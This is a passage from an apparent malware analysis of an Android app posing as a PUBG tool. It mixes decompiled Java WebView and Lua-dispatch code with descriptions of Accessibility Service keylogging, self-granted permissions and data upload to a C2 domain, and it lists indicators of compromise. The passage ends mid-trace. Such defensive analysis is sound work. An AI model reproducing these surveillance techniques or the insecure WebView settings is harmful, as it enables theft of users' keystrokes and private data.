    public void onClick(DialogInterface dialogInterface, int i2) {
        this.a.cancel();
    }
}

class m implements DialogInterface.OnClickListener {
    final /* synthetic */ JsResult a;

    m(Webview webview, JsResult jsResult) {
        this.a = jsResult;
    }

    @Override // android.content.DialogInterface.OnClickListener
    public void onClick(DialogInterface dialogInterface, int i2) {
        this.a.confirm();
    }
}

class n implements DialogInterface.OnCancelListener {
    final /* synthetic */ JsPromptResult a;

    n(Webview webview, JsPromptResult jsPromptResult) {
        this.a = jsPromptResult;
    }

    @Override // android.content.DialogInterface.OnCancelListener
    public void onCancel(DialogInterface dialogInterface) {
        this.a.cancel();
    }
}

```

```

/* JADX INFO: Access modifiers changed from: private */
public void a(String str) {
    Message message = new Message();
    message.what = 1;
    message.obj = str;
    this.m.sendMessage(message);
}

public static String getFilePathByContentResolver(Context context, Uri uri) {
    String string = null;
    if (uri == null) {
        return null;
    }
    Cursor cursorQuery = context.getContentResolver().query(uri, null, null, null,
null);
    if (cursorQuery == null) {
        throw new IllegalArgumentException("Query on " + uri + " returns null result.");
    }
    try {
        if (cursorQuery.getCount() == 1 && cursorQuery.moveToFirst()) {
            string = cursorQuery.getString(cursorQuery.getColumnIndexOrThrow("_data"));
        }
        return string;
    } finally {
        cursorQuery.close();
    }
}

/* JADX INFO: Access modifiers changed from: private */
public void onHideCustomViewX() {
    FrameLayout frameLayout = this.g;
    if (frameLayout == null) {
        return;
    }
    Context context = frameLayout.getContext();
    ((ViewGroup) this.g.getParent()).removeView(this.g);
    if (context instanceof Activity) {
        ((Activity) context).getWindow().getDecorView().setSystemUiVisibility(this.h);
    }
    this.g.removeAllViews();
    this.g = null;
    WebChromeClient.CustomViewCallback customViewCallback = this.f1933i;
    if (customViewCallback != null) {
        customViewCallback.onCustomViewHidden();
    }
}

/* JADX INFO: Access modifiers changed from: private */
public void onShowCustomViewX(Activity activity, View view,
WebChromeClient.CustomViewCallback customViewCallback) {
    if (this.g != null) {
        customViewCallback.onCustomViewHidden();
        this.g = null;
    }
}

```

```

        return;
    }
    FrameLayout frameLayout = new FrameLayout(activity);
    this.g = frameLayout;
    frameLayout.setLayoutParams(new ViewGroup.LayoutParams(-1, -1));
    this.g.setBackgroundColor(ViewCompat.MEASURED_STATE_MASK);
    Window window = activity.getWindow();
    this.h = window.getDecorView().getSystemUiVisibility();
    window.addView(this.g, new ViewGroup.LayoutParams(-1, -1));
    window.getDecorView().setSystemUiVisibility(5894);
    this.g.addView(view);
    this.f1933i = customViewCallback;
}

/* JADX INFO: Access modifiers changed from: private */
public void r(String str) {
    Intent intent = new Intent();
    intent.setAction("android.intent.action.VIEW");
    if (str.toLowerCase().startsWith("file://")) {
        c.b.a.a.m.a(this, intent, new File(str), "text/html");
    } else {
        intent.setData(c.b.a.a.m.c(this, str));
    }
    startActivity(intent);
}

/* JADX INFO: Access modifiers changed from: private */
public void s(String str) {
    new d(str).start();
}

public static void saveImageToGallery(Context context, File file) throws
FileNotFoundException {
    try {
        MediaStore.Images.Media.insertImage(context.getContentResolver(),
file.getAbsolutePath(), file.getName(), (String) null);
    } catch (FileNotFoundException e2) {
        e2.printStackTrace();
    }
    Intent intent = new Intent();
    intent.setAction("android.intent.action.MEDIA_SCANNER_SCAN_FILE");
    intent.setData(c.b.a.a.m.b(context, file));
    context.sendBroadcast(intent);
}

/* JADX INFO: Access modifiers changed from: private */
public boolean t(WebView webView, String str, String str2, JsResult jsResult) {
    new AlertDialog.Builder(webView.getContext()).setTitle("提
示").setMessage(str2).setPositiveButton(R.string.ok, new j(this,
jsResult)).setOnCancelListener(new i(this, jsResult)).create().show();
    return true;
}

```

```

/* JADX INFO: Access modifiers changed from: private */
public boolean u(WebView webView, String str, String str2, JsResult jsResult) {
    new AlertDialog.Builder(webView.getContext()).setTitle("提示").setMessage(str2).setPositiveButton("确定", new m(this, jsResult)).setNegativeButton("取消", new l(this, jsResult)).setOnCancelListener(new k(this, jsResult)).create().show();
    return true;
}

/* JADX INFO: Access modifiers changed from: private */
public boolean v(WebView webView, String str, String str2, String str3, JsPromptResult jsPromptResult) {
    EditText editText = new EditText(webView.getContext());
    editText.setText(str3);
    new
AlertDialog.Builder(webView.getContext()).setTitle(str2).setView(editText).setPositiveButton("确定", new c(this, jsPromptResult, editText)).setNegativeButton("取消", new b(this, jsPromptResult)).setOnCancelListener(new n(this, jsPromptResult)).create().show();
    return true;
}

@TargetApi(11)
private void w(WebView webView) {
    if (Build.VERSION.SDK_INT >= 11) {
        webView.removeJavascriptInterface("searchBoxJavaBridge_");
        webView.removeJavascriptInterface("accessibility");
        webView.removeJavascriptInterface("accessibilityTraversal");
    }
}

public void loadurl(WebView webView, String str) {
    this.e.startAnimation(this.f1932d);
    this.e.setVisibility(0);
    webView.loadUrl(str);
}

@Override // androidx.fragment.app.FragmentActivity,
androidx.activity.ComponentActivity, android.app.Activity
@SuppressLint("NewApi")
protected void onActivityResult(int i2, int i3, Intent intent) {
    super.onActivityResult(i2, i3, intent);
    Uri data = (intent == null || i3 != -1) ? null : intent.getData();
    try {
        ValueCallback<Uri> valueCallback = this.k;
        if (valueCallback != null) {
            valueCallback.onReceiveValue(data);
        } else {
            ValueCallback<Uri[]> valueCallback2 = this.l;
            if (valueCallback2 != null) {
                valueCallback2.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(i3, intent));
            }
        }
    } catch (Exception e2) {
}

```

```

        e2.printStackTrace();
    }
    this.k = null;
    this.l = null;
}

@Override // androidx.fragment.app.FragmentActivity,
// androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity,
// android.app.Activity
@SuppressLint({"SetJavaScriptEnabled"})
@TargetApi(16)
public void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    Bundle extras = getIntent().getExtras();
    this.a = extras.getString("WebURL");
    setContentView(2131427454);
    Toolbar toolbar = (Toolbar) findViewById(2131231177);
    this.f = toolbar;
    setSupportActionBar(toolbar);
    String string = extras.getString("background");
    String string2 = extras.getString("backgroundShadow");
    if (string != null && string2 != null) {
        this.f.setBackgroundColor(Color.parseColor(string));
        c.b.a.a.t.c(this, Color.parseColor(string2), true, findViewById(2131231174));
    }
    ActionBar supportActionBar = getSupportActionBar();
    supportActionBar.setHomeButtonEnabled(true);
    supportActionBar.setDisplayHomeAsUpEnabled(true);
    supportActionBar.setDisplayHomeAsUpEnabled(true);
    this.f.setNavigationOnClickListener(new f());
    this.e = (ImageView) findViewById(2131231176);
    RotateAnimation rotateAnimation = new RotateAnimation(0.0f, 350.0f, 1, 0.5f, 1,
0.5f);
    this.f1932d = rotateAnimation;
    rotateAnimation.setDuration(1000L);
    this.f1932d.setRepeatCount(100);
    this.e.startAnimation(this.f1932d);
    WebView webView = (WebView) findViewById(2131231175);
    this.b = webView;
    int i2 = Build.VERSION.SDK_INT;
    if (i2 >= 21) {
        webView.getSettings().setMixedContentMode(0);
    }
    this.b.getSettings().setAllowFileAccess(true);
    this.b.getSettings().setJavaScriptEnabled(true);
    this.b.getSettings().setAppCacheEnabled(true);
    this.b.getSettings().setAppCachePath(getApplicationContext().getDir("cache",
0).getPath());
    this.b.getSettings().setAppCacheMaxSize(8388608L);
    this.b.getSettings().setDatabaseEnabled(true);
    this.b.getSettings().setDatabasePath(getApplicationContext().getDir("database",
0).getPath());
    this.b.getSettings().setDomStorageEnabled(true);

```

```

        this.b.getSettings().setGeolocationEnabled(true);
        this.b.getSettings().setLightTouchEnabled(true);
        this.b.getSettings().setCacheMode(-1);
        this.b.getSettings().setPluginState(WebSettings.PluginState.ON);
        this.b.getSettings().setSupportZoom(true);
        this.b.getSettings().setBuiltInZoomControls(true);
        this.b.getSettings().setUseWideViewPort(true);
        this.b.getSettings().setLoadWithOverviewMode(true);
        if (i2 >= 16) {
            this.b.getSettings().setAllowUniversalAccessFromFileURLs(true);
            this.b.getSettings().setAllowFileAccessFromFileURLs(true);
        }
        this.b.setScrollBarStyle(0);
        this.b.loadUrl(this.a);
        this.b.setDownloadListener(new a());
        this.b.setWebChromeClient(new g());
        this.b.setWebViewClient(new h());
        w(this.b);
    }
}

```

```

@Override // android.app.Activity
public boolean onCreateOptionsMenu(Menu menu) {
    menu.add(0, 0, 0, "后退");
    menu.add(0, 1, 1, "前进");
    menu.add(0, 2, 2, "刷新");
    menu.add(0, 3, 3, "下载");
    menu.add(0, 4, 4, "默认浏览器打开");
    menu.add(0, 5, 5, "关闭");
    return super.onCreateOptionsMenu(menu);
}

```

```

@Override // androidx.appcompat.app.AppCompatActivity,
// androidx.fragment.app.FragmentActivity, android.app.Activity
protected void onDestroy() {
    super.onDestroy();
    this.f1932d.cancel();
    this.f1932d = null;
    this.e.clearAnimation();
}

```

```

@Override // androidx.appcompat.app.AppCompatActivity, android.app.Activity,
// android.view.KeyEvent.Callback
public boolean onKeyDown(int i2, KeyEvent keyEvent) {
    if (i2 != 4) {
        return i2 == 82;
    }
    if (this.g != null) {
        onHideCustomViewX();
        return true;
    }
    if (keyEvent.getRepeatCount() == 0) {
        if (this.b.canGoBack()) {
            this.b.goBack();
        }
    }
}

```

```

        } else {
            finish();
        }
    }
    return true;
}

@Override // android.app.Activity
public boolean onOptionsItemSelected(MenuItem menuItem) {
    int itemId = menuItem.getItemId();
    if (itemId == 0) {
        this.b.goBack();
    } else if (itemId == 1) {
        this.b.goForward();
    } else if (itemId == 2) {
        WebView webView = this.b;
        loadurl(webView, webView.getUrl());
    } else if (itemId == 3) {
        Bundle extras = getIntent().getExtras();
        String string = extras.getString("background");
        String string2 = extras.getString("backgroundShadow");
        if (string == null || string2 == null) {
            startActivity(new Intent().setClass(this, DownList.class));
        } else {
            Intent intent = new Intent(this, (Class<?>) DownList.class);
            Bundle bundle = new Bundle();
            bundle.putString("background", string);
            bundle.putString("backgroundShadow", string2);
            intent.putExtras(bundle);
            startActivity(intent);
        }
    } else if (itemId == 4) {
        r(this.b.getUrl());
    } else if (itemId == 5) {
        finish();
    }
    return true;
}

public void synCookies(Context context, String str, String str2) {
    CookieSyncManager.createInstance(context);
    CookieManager cookieManager = CookieManager.getInstance();
    cookieManager.setAcceptCookie(true);
    cookieManager.removeSessionCookie();
    cookieManager.setCookie(str, str2);
    CookieSyncManager.getInstance().sync();
}
}

```

4. Payload Analysis (Internal lib.so)

Based on string extraction from the native engine, the decrypted lib.so is a container for the iApp (iyu) source code, including:

- mian.iyu: The primary malicious controller.
- ays_service.myu: An Accessibility Service exploit used to capture keystrokes, SMS, and UI interactions.
- upload.lua: A Lua-based script for managing the exfiltration of stolen data to the C2 server.

5. Indicators of Compromise (IoCs)

5.1. Network Indicators

- Domain: bu84.com
- URL Path: /config.php, /upload.php

5.2. Host-Based Indicators (HBIs)

File/Directory Path	Classification
assets/lib.so	Encrypted Malicious Payload
lib/arm64-v8a/libygsiyu.so	Native Decryption Engine (YGS-Packer)
/data/data/[pkg]/files/_RunDex_/	Working directory for decrypted DEX
[ExternalStorage]/.../log.txt	Malware Execution Log

6. Technical Deep Dive: Attack & Surveillance Tactics

6.1. Persistence via Accessibility Service Hijacking

The presence of ays_service.myu indicates the use of the Android Accessibility Suite as a primary attack vector.

- UI Scripting: The malware prompts the user to enable "Optimization Features" for PUBG. Once granted, the ays_service gains the ability to "read" the window content of other apps.
- Keylogging: By intercepting AccessibilityEvent types (such as TYPE_VIEW_TEXT_CHANGED), the malware captures keystrokes in banking apps, social media, and private messengers.
- Automatic Permission Granting: The native Lua engine can programmatically click "Allow" on system permission dialogs that pop up in the background, effectively self-escalating its own privileges.

```
package com.iapp.app.run;

import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Context;
```

```

import android.content.Intent;
import android.content.res.Configuration;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.view.ContextMenu;
import android.view.GestureDetector;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuItem;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.widget.AbsListView;
import android.widget.AdapterView;
import android.widget.CompoundButton;
import android.widget.FrameLayout;
import android.widget.LinearLayout;
import android.widget.SeekBar;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import androidx.core.view.ViewCompat;
import androidx.drawerlayout.widget.DrawerLayout;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import androidx.recyclerview.widget.StaggeredGridLayoutManager;
import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
import androidx.viewpager.widget.ViewPager;
import c.b.a.a.w;
import com.google.android.material.appbar.AppBarLayout;
import com.google.android.material.tabs.TabLayout;
import com.iapp.app.Aid_luaCode;
import com.iapp.app.x5.WebView;
import fr.castorflex.android.verticalviewpager.VerticalViewPager;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import org.keplerproject.luajava.LuaException;

@SuppressLint({"UseSparseArrays"})
/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */
public class main extends iActivity {

    /* renamed from: c, reason: collision with root package name */
    private LinearLayout f1962c;

```

```

public WebChromeClient.CustomViewCallback customViewCallback;
public FrameLayout fullscreenContainer;
private Aid_luaCode k;
public com.iapp.app.d luaj;
public int originalSystemUiVisibility;

/* renamed from: d, reason: collision with root package name */
private HashMap<String, Object> f1963d = new HashMap<>();
private String[] e = null;
private c.c.a.b f = new c.c.a.b(this);
private String g = null;
public String r = null;
private SensorEventListener h = null;

/* renamed from: i, reason: collision with root package name */
private SensorManager f1964i = null;
private Sensor j = null;
private String l = "require 'import'\n";
private boolean m = false;
private boolean n = false;
private boolean o = false;
private boolean p = false;
private boolean q = false;
private boolean s = false;
private boolean t = false;
private boolean u = false;
private boolean v = false;
private boolean w = false;
private boolean x = false;
private boolean y = false;
private boolean z = false;
private boolean A = false;
private boolean B = false;
private boolean C = false;

class a implements AbsListView.OnScrollListener {
    final /* synthetic */ boolean a;
    final /* synthetic */ boolean b;

    a(boolean z, boolean z2) {
        this.a = z;
        this.b = z2;
    }

    @Override // android.widget.AbsListView.OnScrollListener
    public void onScroll(AbsListView absListView, int i2, int i3, int i4) {
        if (this.b) {
            int id = absListView.getId();
            main.this.luaj.d("onscroll" + id, Integer.valueOf(id), absListView,
Integer.valueOf(i2), Integer.valueOf(i3), Integer.valueOf(i4));
        }
    }
}

```

```

@Override // android.widget.AbsListView.OnScrollListener
public void onScrollStateChanged(AbsListView absListView, int i2) {
    if (this.a) {
        int id = absListView.getId();
        main.this.luaj.d("onscrollstatechanged" + id, Integer.valueOf(id),
absListView, Integer.valueOf(i2));
    }
}

class b implements AdapterView.OnItemClickListener {
    b() {

@Override // android.widget.AdapterView.OnItemClickListener
public void onItemClick(AdapterView<?> adapterView, View view, int i2, long j) {
    int id = adapterView.getId();
    main.this.luaj.d("clickitem" + id, Integer.valueOf(id), adapterView,
Integer.valueOf(i2), Long.valueOf(j), view);
}

class c implements AdapterView.OnItemSelectedListener {
    final /* synthetic */ boolean a;
    final /* synthetic */ boolean b;

    c(boolean z, boolean z2) {
        this.a = z;
        this.b = z2;
    }

@Override // android.widget.AdapterView.OnItemSelectedListener
public void onItemSelected(AdapterView<?> adapterView, View view, int i2, long j) {
    if (this.a) {
        int id = adapterView.getId();
        main.this.luaj.d("onitemselected" + id, Integer.valueOf(id), adapterView,
view, Integer.valueOf(i2), Long.valueOf(j));
    }
}

@Override // android.widget.AdapterView.OnItemSelectedListener
public void onNothingSelected(AdapterView<?> adapterView) {
    if (this.b) {
        int id = adapterView.getId();
        main.this.luaj.d("onnothingselected" + id, Integer.valueOf(id),
adapterView);
    }
}

class d implements SeekBar.OnSeekBarChangeListener {
    final /* synthetic */ boolean a;
    final /* synthetic */ boolean b;

```

```

        /* renamed from: c, reason: collision with root package name */
        final /* synthetic */ boolean f1967c;

        d(boolean z, boolean z2, boolean z3) {
            this.a = z;
            this.b = z2;
            this.f1967c = z3;
        }

        @Override // android.widget.SeekBar.OnSeekBarChangeListener
        public void onProgressChanged(SeekBar seekBar, int i2, boolean z) {
            if (this.f1967c) {
                int id = seekBar.getId();
                main.this.lua.j.d("onprogresschanged2" + id, Integer.valueOf(id), seekBar,
Integer.valueOf(i2), Boolean.valueOf(z));
            }
        }

        @Override // android.widget.SeekBar.OnSeekBarChangeListener
        public void onStartTrackingTouch(SeekBar seekBar) {
            if (this.b) {
                int id = seekBar.getId();
                main.this.lua.j.d("onstarttrackingtouch" + id, Integer.valueOf(id), seekBar);
            }
        }

        @Override // android.widget.SeekBar.OnSeekBarChangeListener
        public void onStopTrackingTouch(SeekBar seekBar) {
            if (this.a) {
                int id = seekBar.getId();
                main.this.lua.j.d("onstoptrackingtouch" + id, Integer.valueOf(id), seekBar);
            }
        }
    }

    class e implements TabLayout.OnTabSelectedListener {
        final /* synthetic */ boolean a;
        final /* synthetic */ View b;

        /* renamed from: c, reason: collision with root package name */
        final /* synthetic */ boolean f1969c;

        /* renamed from: d, reason: collision with root package name */
        final /* synthetic */ boolean f1970d;

        e(boolean z, View view, boolean z2, boolean z3) {
            this.a = z;
            this.b = view;
            this.f1969c = z2;
            this.f1970d = z3;
        }
    }

```

```

@Override // com.google.android.material.tabs.TabLayout.BaseOnTabSelectedListener
public void onTabReselected(TabLayout.Tab tab) {
    if (this.f1970d) {
        int id = this.b.getId();
        main.this.luaaj.d("ontabreselected" + id, Integer.valueOf(id), this.b,
Integer.valueOf(tab.getPosition()), String.valueOf(tab.getText()), tab);
    }
}

@Override // com.google.android.material.tabs.TabLayout.BaseOnTabSelectedListener
public void onTabSelected(TabLayout.Tab tab) {
    if (this.a) {
        int id = this.b.getId();
        main.this.luaaj.d("ontabselected" + id, Integer.valueOf(id), this.b,
Integer.valueOf(tab.getPosition()), String.valueOf(tab.getText()), tab);
    }
}

@Override // com.google.android.material.tabs.TabLayout.BaseOnTabSelectedListener
public void onTabUnselected(TabLayout.Tab tab) {
    if (this.f1969c) {
        int id = this.b.getId();
        main.this.luaaj.d("ontabunselected" + id, Integer.valueOf(id), this.b,
Integer.valueOf(tab.getPosition()), String.valueOf(tab.getText()), tab);
    }
}

}

class f extends RecyclerView.OnScrollListener {
    final /* synthetic */ boolean a;
    final /* synthetic */ boolean b;

    f(boolean z, boolean z2) {
        this.a = z;
        this.b = z2;
    }

    @Override // androidx.recyclerview.widget.RecyclerView.OnScrollListener
    public void onScrollStateChanged(RecyclerView recyclerView, int i2) {
        if (this.a) {
            int id = recyclerView.getId();
            main.this.luaaj.d("onscrollstatechanged" + id, Integer.valueOf(id),
recyclerView, Integer.valueOf(i2));
        }
    }

    @Override // androidx.recyclerview.widget.RecyclerView.OnScrollListener
    public void onScrolled(RecyclerView recyclerView, int i2, int i3) {
        if (this.b) {
            RecyclerView.LayoutManager layoutManager = recyclerView.getLayoutManager();
            int childCount = layoutManager.getChildCount();
            int itemCount = layoutManager.getItemCount();
            int iFindFirstVisibleItemPosition = -1;

```

```

        boolean z = false;
        if (layoutManager instanceof LinearLayoutManager) {
            iFindFirstVisibleItemPosition = ((LinearLayoutManager)
layoutManager).findFirstVisibleItemPosition();
        } else if (layoutManager instanceof StaggeredGridLayoutManager) {
            StaggeredGridLayoutManager staggeredGridLayoutManager =
(StaggeredGridLayoutManager) layoutManager;
            if (staggeredGridLayoutManager.getSpanCount() > 0) {
                iFindFirstVisibleItemPosition =
staggeredGridLayoutManager.findFirstVisibleItemPositions(null)[0];
            }
        }
        int id = recyclerView.getId();
        com.iapp.app.d dVar = main.this.luaaj;
        String str = "onscrolled" + id;
        Object[] objArr = new Object[8];
        objArr[0] = Integer.valueOf(id);
        objArr[1] = recyclerView;
        objArr[2] = Integer.valueOf(iFindFirstVisibleItemPosition);
        objArr[3] = Integer.valueOf(childCount);
        objArr[4] = Integer.valueOf(itemCount);
        objArr[5] = Integer.valueOf(i2);
        objArr[6] = Integer.valueOf(i3);
        if (i3 > 0 && childCount + iFindFirstVisibleItemPosition >= itemCount) {
            z = true;
        }
        objArr[7] = Boolean.valueOf(z);
        dVar.d(str, objArr);
    }
}
}

```

```

class g extends GestureDetector.SimpleOnGestureListener {
    final /* synthetic */ boolean a;
    final /* synthetic */ View b;

    g(boolean z, View view) {
        this.a = z;
        this.b = view;
    }

    @Override // android.view.GestureDetector.SimpleOnGestureListener,
android.view.GestureDetector.OnGestureListener
    public void onLongPress(MotionEvent motionEvent) {
        RecyclerView recyclerView;
        View viewFindChildViewUnder;
        if (!this.a || (viewFindChildViewUnder = (recyclerView = (RecyclerView)
this.b).findChildViewUnder(motionEvent.getX(), motionEvent.getY())) == null) {
            return;
        }
        int id = recyclerView.getId();
    }
}

```

```

        main.this.luaj.d("clickitem" + id, Integer.valueOf(id), recyclerView,
Integer.valueOf(recyclerView.getChildLayoutPosition(viewFindChildViewUnder)),
viewFindChildViewUnder);
    }

    @Override // android.view.GestureDetector.SimpleOnGestureListener,
android.view.GestureDetector.OnGestureListener
    public boolean onSingleTapUp(MotionEvent motionEvent) {
        RecyclerView recyclerView;
        View viewFindChildViewUnder;
        if (!this.a || (viewFindChildViewUnder = (recyclerView = (RecyclerView)
this.b).findChildViewUnder(motionEvent.getX(), motionEvent.getY())) == null) {
            return false;
        }
        int id = recyclerView.getId();
        main.this.luaj.d("clickitem" + id, Integer.valueOf(id), recyclerView,
Integer.valueOf(recyclerView.getChildLayoutPosition(viewFindChildViewUnder)),
viewFindChildViewUnder);
        return true;
    }
}

class h implements RecyclerView.OnItemTouchListener {
    final /* synthetic */ GestureDetector a;

    h(main mainVar, GestureDetector gestureDetector) {
        this.a = gestureDetector;
    }

    @Override // androidx.recyclerview.widget.RecyclerView.OnItemTouchListener
    public boolean onInterceptTouchEvent(RecyclerView recyclerView, MotionEvent
motionEvent) {
        this.a.onTouchEvent(motionEvent);
        return false;
    }

    @Override // androidx.recyclerview.widget.RecyclerView.OnItemTouchListener
    public void onRequestDisallowInterceptTouchEvent(boolean z) {
    }

    @Override // androidx.recyclerview.widget.RecyclerView.OnItemTouchListener
    public void onTouchEvent(RecyclerView recyclerView, MotionEvent motionEvent) {
    }
}

class i implements ViewPager.OnPageChangeListener {
    final /* synthetic */ boolean a;
    final /* synthetic */ View b;

    /* renamed from: c, reason: collision with root package name */
    final /* synthetic */ boolean f1973c;

    /* renamed from: d, reason: collision with root package name */

```

```

        final /* synthetic */ boolean f1974d;

        i(boolean z, View view, boolean z2, boolean z3) {
            this.a = z;
            this.b = view;
            this.f1973c = z2;
            this.f1974d = z3;
        }

        @Override // androidx.viewpager.widget.ViewPager.OnPageChangeListener
        public void onPageScrollStateChanged(int i2) {
            if (this.f1974d) {
                int id = this.b.getId();
                main.this.lua.j.d("onpagescrollstatechanged" + id, Integer.valueOf(id),
this.b, Integer.valueOf(i2));
            }
        }

        @Override // androidx.viewpager.widget.ViewPager.OnPageChangeListener
        public void onPageScrolled(int i2, float f, int i3) {
            if (this.f1973c) {
                int id = this.b.getId();
                main.this.lua.j.d("onpagescrolled" + id, Integer.valueOf(id), this.b,
Integer.valueOf(i2), Float.valueOf(f), Integer.valueOf(i3));
            }
        }

        @Override // androidx.viewpager.widget.ViewPager.OnPageChangeListener
        public void onPageSelected(int i2) {
            if (this.a) {
                int id = this.b.getId();
                main.this.lua.j.d("onpageselected" + id, Integer.valueOf(id), this.b,
Integer.valueOf(i2));
            }
        }
    }

    class j implements SwipeRefreshLayout.OnRefreshListener {
        final /* synthetic */ boolean a;
        final /* synthetic */ View b;

        j(boolean z, View view) {
            this.a = z;
            this.b = view;
        }

        @Override // androidx.swiperefreshlayout.widget.SwipeRefreshLayout.OnRefreshListener
        public void onRefresh() {
            if (this.a) {
                int id = this.b.getId();
                main.this.lua.j.d("onrefresh" + id, Integer.valueOf(id), this.b);
            }
        }
    }

```

```

}

class k implements com.iapp.app.x5.a {
    k(main mainVar) {
    }

    @Override // android.webkit.DownloadListener
    public void onDownloadStart(String str, String str2, String str3, String str4, long
j) {
        String lowerCase = str4.toLowerCase();
        String strC = str3 != null ? c.b.a.a.r.c(str3, "filename=\"", "\"") : null;
        if (strC == null) {
            if (str.contains("?")) {
                str = str.substring(0, str.indexOf(63));
            }
            strC = c.b.a.a.r.b(str);
            String lowerCase2 = strC.toLowerCase();
            if (lowerCase.equals("application/vnd.android.package-archive") &&
!lowerCase2.endsWith(".apk")) {
                strC = strC + ".apk";
            }
        }
        if (strC != null) {
            com.iapp.app.a.b.d(str, strC, null);
        }
    }
}

class l implements CompoundButton.OnCheckedChangeListener {
    final /* synthetic */ boolean a;
    final /* synthetic */ View b;

    l(boolean z, View view) {
        this.a = z;
        this.b = view;
    }

    @Override // android.widget.CompoundButton.OnCheckedChangeListener
    public void onCheckedChanged(CompoundButton compoundButton, boolean z) {
        if (this.a) {
            int id = this.b.getId();
            main.this.lua.j.d("oncheckedchanged" + id, Integer.valueOf(id), this.b,
Boolean.valueOf(z));
        }
    }
}

class m implements AppBarLayout.OnOffsetChangedListener {
    final /* synthetic */ boolean a;

    m(boolean z) {
        this.a = z;
    }
}

```

```

        @Override //
com.google.android.material.appbar.AppBarLayout.OnOffsetChangedListener,
com.google.android.material.appbar.AppBarLayout.BaseOnOffsetChangedListener
        public void onOffsetChanged(AppBarLayout appBarLayout, int i2) {
            if (this.a) {
                int id = appBarLayout.getId();
                main.this.lua.j.d("onoffsetchanged" + id, Integer.valueOf(id), appBarLayout,
Integer.valueOf(i2));
            }
        }
    }

    class n implements SensorEventListener {
        n() {
        }

        @Override // android.hardware.SensorEventListener
        public void onAccuracyChanged(Sensor sensor, int i2) {
        }

        @Override // android.hardware.SensorEventListener
        public void onSensorChanged(SensorEvent sensorEvent) {
            main.this.lua.j.d("sensor", Float.valueOf(sensorEvent.values[0]),
Float.valueOf(sensorEvent.values[1]), Float.valueOf(sensorEvent.values[2]));
        }
    }

    class o implements View.OnClickListener {
        o() {
        }

        @Override // android.view.View.OnClickListener
        public void onClick(View view) {
            int id = view.getId();
            main.this.lua.j.d("clicki" + id, Integer.valueOf(id), view);
        }
    }

    class p implements View.OnTouchListener {
        p() {
        }

        @Override // android.view.View.OnTouchListener
        @SuppressWarnings({"ClickableViewAccessibility"})
        public boolean onTouch(View view, MotionEvent motionEvent) {
            int id = view.getId();
            return main.this.lua.j.e("touchmonitor" + id, Integer.valueOf(id), view,
Integer.valueOf(motionEvent.getAction()), Float.valueOf(motionEvent.getX()),
Float.valueOf(motionEvent.getY()), Float.valueOf(motionEvent.getRawX()),
Float.valueOf(motionEvent.getRawY()));
        }
    }
}

```

```

class q implements View.OnLongClickListener {
    q() {
    }

    @Override // android.view.View.OnLongClickListener
    public boolean onLongClick(View view) {
        int id = view.getId();
        return main.this.luaj.e("press" + id, Integer.valueOf(id), view);
    }
}

class r implements View.OnKeyListener {
    r() {
    }

    @Override // android.view.View.OnKeyListener
    public boolean onKey(View view, int i2, KeyEvent keyEvent) {
        int id = view.getId();
        return main.this.luaj.e("keyboard" + id, Integer.valueOf(id), view,
Integer.valueOf(i2), Integer.valueOf(keyEvent.getAction()),
Integer.valueOf(keyEvent.getRepeatCount()), keyEvent);
    }
}

class s implements View.OnCreateContextMenuListener {
    s() {
    }

    @Override // android.view.View.OnCreateContextMenuListener
    public void onCreateContextMenu(ContextMenu contextMenu, View view,
ContextMenu.ContextMenuInfo contextMenuInfo) {
        String strC = c.b.a.a.r.c(((Object[]) view.getTag())[2].toString(), "<eventItme
type=\"pressmenu\">", "</eventItme>");
        contextMenu.setHeaderTitle(c.b.a.a.r.c(strC, "title:", "\n"));
        int id = view.getId();
        String[] strArrSplit = strC.split("\ncase ");
        for (int i2 = 1; i2 < strArrSplit.length; i2++) {
            contextMenu.add(id, i2, 0, c.b.a.a.r.c(strArrSplit[i2], null, ":"));
        }
        if (c.b.a.a.r.c(strC, "\ndefault:", "\nbreak") != null) {
            main.this.luaj.d("onCreateContextMenu" + id + "x0", Integer.valueOf(id),
view);
        }
    }
}

class t implements TextView.OnEditorActionListener {
    t() {
    }

    /* JADX ERROR: ConcurrentModificationException in pass: ConstructorVisitor
java.util.ConcurrentModificationException

```

```

        at
java.base/java.util.ArrayList$Itr.checkForComodification(ArrayList.java:1096)
        at java.base/java.util.ArrayList$Itr.next(ArrayList.java:1050)
        at
jadx.core.dex.visitors.ConstructorVisitor.insertPhiInsn(ConstructorVisitor.java:139)
        at
jadx.core.dex.visitors.ConstructorVisitor.processInvoke(ConstructorVisitor.java:91)
        at
jadx.core.dex.visitors.ConstructorVisitor.replaceInvoke(ConstructorVisitor.java:56)
        at
jadx.core.dex.visitors.ConstructorVisitor.visit(ConstructorVisitor.java:42)
    */
    @Override // android.widget.TextView.OnEditorActionListener
    public boolean onEditorAction(
        /* JADX ERROR: ConcurrentModificationException in pass: ConstructorVisitor
        java.util.ConcurrentModificationException
            at
java.base/java.util.ArrayList$Itr.checkForComodification(ArrayList.java:1096)
            at java.base/java.util.ArrayList$Itr.next(ArrayList.java:1050)
            at
jadx.core.dex.visitors.ConstructorVisitor.insertPhiInsn(ConstructorVisitor.java:139)
            at
jadx.core.dex.visitors.ConstructorVisitor.processInvoke(ConstructorVisitor.java:91)
            at
jadx.core.dex.visitors.ConstructorVisitor.replaceInvoke(ConstructorVisitor.java:56)
        */
        /* JADX ERROR: Method generation error
        jadx.core.utils.exceptions.JadxRuntimeException: Code variable not set in r13v0
        ??
            at jadx.core.dex.instructions.args.SSAVar.getCodeVar(SSAVar.java:236)
            at jadx.core.codegen.MethodGen.addMethodArguments(MethodGen.java:224)
            at jadx.core.codegen.MethodGen.addDefinition(MethodGen.java:169)
